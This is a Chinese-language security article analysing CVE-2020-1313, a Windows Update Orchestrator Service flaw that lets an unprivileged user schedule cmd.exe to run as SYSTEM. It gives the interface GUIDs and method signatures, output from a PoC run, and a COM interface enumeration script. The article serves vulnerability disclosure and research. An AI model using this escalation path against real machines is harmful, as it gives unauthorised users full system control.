CVE-2020-1313漏洞分析与利用PoC - FreeBuf网络安全行业门户

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漏洞

CVE-2020-1313漏洞分析与利用PoC

Alpha_h4ck 2020-08-06 01:10:39 460831

写在前面的话

Windows Update Orchestrator Service是一个DCOM服务，Windows系统内的其他组件需要使用该服务来安装已下载好的Windows更新。但是，由于该服务中的代码在认证调用函数时存在问题，导致其易受权限提升攻击的影响，即任意用户提升至本地系统权限。该漏洞将影响Windows 10和Windows Server Core产品。

漏洞分析

UniversalOrchestrator服务（9C695035-48D2-4229-8B73-4C70E756E519），其代码在usosvc.dll中实现，并且将以NT_AUTHORITY\SYSTEM权限运行，如果拥有BUILTIN\Users的访问权，即可对其进行配置。即使该服务所实现的COM类枚举功能已经被屏蔽了，但是IUniversalOrchestrator接口（c53f3549-0dbf-429a-8297-c812ba00742d）仍然可以通过标准的COM API调用来访问获取。下面给出的就是暴露的三个方法：

virtual HRESULT __stdcall HasMoratoriumPassed(wchar_t* uscheduledId, int64_t* p1);//usosvc!UniversalOrchestrator::HasMoratoriumPassed

virtual HRESULT __stdcall ScheduleWork(wchar_t* uscheduledId, wchar_t* cmdLine, wchar_t* startArg, wchar_t* pauseArg);//usosvc!UniversalOrchestrator::ScheduleWork

virtual HRESULT __stdcall WorkCompleted(wchar_t* uscheduledId, int64_t p1);//usosvc!UniversalOrchestrator::WorkCompleted

ScheduleWork方法可以用来在服务的上下文环境下设置命令执行的计划任务，并且可以在不进行任何认证的情况下执行。目标可执行程序本身必须拥有数字签名，并且必须位于“c:\windows\system32”或“Program Files”目录下。但是，我们同样可以通过命令行参数来执行目标可执行文件，这样我们就可以通过启动“c:\windows\system32\cmd.exe”，并且以NT_AUTHORITY\SYSTEM权限执行任意代码，最终在目标系统中实现提权。

概念验证PoC

C:\111>whoami

desktop-43rnlku\unprivileged

 

C:\111>whoami /priv

 

PRIVILEGES INFORMATION

----------------------

 

Privilege Name                Description                          State

============================= ==================================== ========

SeShutdownPrivilege           Shut down the system                 Disabled

SeChangeNotifyPrivilege       Bypass traverse checking             Enabled

SeUndockPrivilege             Remove computer from docking station Disabled

SeIncreaseWorkingSetPrivilege Increase a process working set       Disabled

SeTimeZonePrivilege           Change the time zone                 Disabled

 

C:\111>whoami /priv

 

C:\111>UniversalOrchestratorPrivEscPoc.exe

Obtaining reference to IUniversalOrchestrator

Scheduing work with id 56594

Succeeded. You may verify HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WindowsUpdate\Orchestrator\UScheduler to see the task has indeed been onboarded. The command itself will be executed overnight if there is no user interaction on the box or after 3 days SLA has passed.

计划任务的入口点将添加至注册表中：

指定的命令可以在不需要任何用户交互的情况下，在夜间（大约23:20）的时候执行。

漏洞发现过程

当我发现我们无法通过OleView.NET来获取USO服务的接口定义时，我专门创建了一个脚本来遍历大量的CLSID/IID组合。于是乎，我们发现了下列内容：

void TestUpdateOrchestratorInterfaceAgainstService(IID& clsId, const char* className, const wchar_t* iidStr, const char *interfaceName)

{

void *ss = NULL;

IID iid;

ThrowOnError(IIDFromString(iidStr, (LPCLSID)&iid)); // working with e at the end, failing with anything else

 

HRESULT res = CoCreateInstance(clsId, nullptr, CLSCTX_LOCAL_SERVER, iid, (LPVOID*)&ss);

 

printf("%s %s: %s\n", className, interfaceName, res == S_OK ? "WORKING" : "failure");

}

 

void TestUpdateOrchestratorInterface(const wchar_t* iidStr, const char *interfaceName)

{

// TestUpdateOrchestratorInterfaceAgainstService(CLSID_AutomaticUpdates, "AutomaticUpdates", iidStr, interfaceName); // timeouting!

TestUpdateOrchestratorInterfaceAgainstService(CLSID_UxUpdateManager, "UxUpdateManager", iidStr, interfaceName);

TestUpdateOrchestratorInterfaceAgainstService(CLSID_UsoService, "UsoService", iidStr, interfaceName);

TestUpdateOrchestratorInterfaceAgainstService(CLSID_UpdateSessionOrchestrator, "UpdateSessionOrchestrator", iidStr, interfaceName);

TestUpdateOrchestratorInterfaceAgainstService(CLSID_UniversalOrchestrator, "UniversalOrchestrator", iidStr, interfaceName);

// TestUpdateOrchestratorInterfaceAgainstService(CLSID_SomeService, "SomeService", iidStr, interfaceName); // timeouting!

}

 

...

 

TestUpdateOrchestratorInterface(L"{c57692f8-8f5f-47cb-9381-34329b40285a}", "IMoUsoOrchestrator");

TestUpdateOrchestratorInterface(L"{4284202d-4dc1-4c68-a21e-5c371dd92671}", "IMoUsoUpdate");

TestUpdateOrchestratorInterface(L"{c879dd73-4bd2-4b76-9dd8-3b96113a2130}", "IMoUsoUpdateCollection");

        // ... and hundreds of more

方法的执行结果如下：

UniversalOrchestrator IUniversalOrchestrator: WORKING

UpdateSessionOrchestrator IUpdateSessionOrchestrator: WORKING

UxUpdateManager IUxUpdateManager: WORKING

接下来，我就开始对上述方法执行逆向工程分析，并且发现了本文所介绍的漏洞。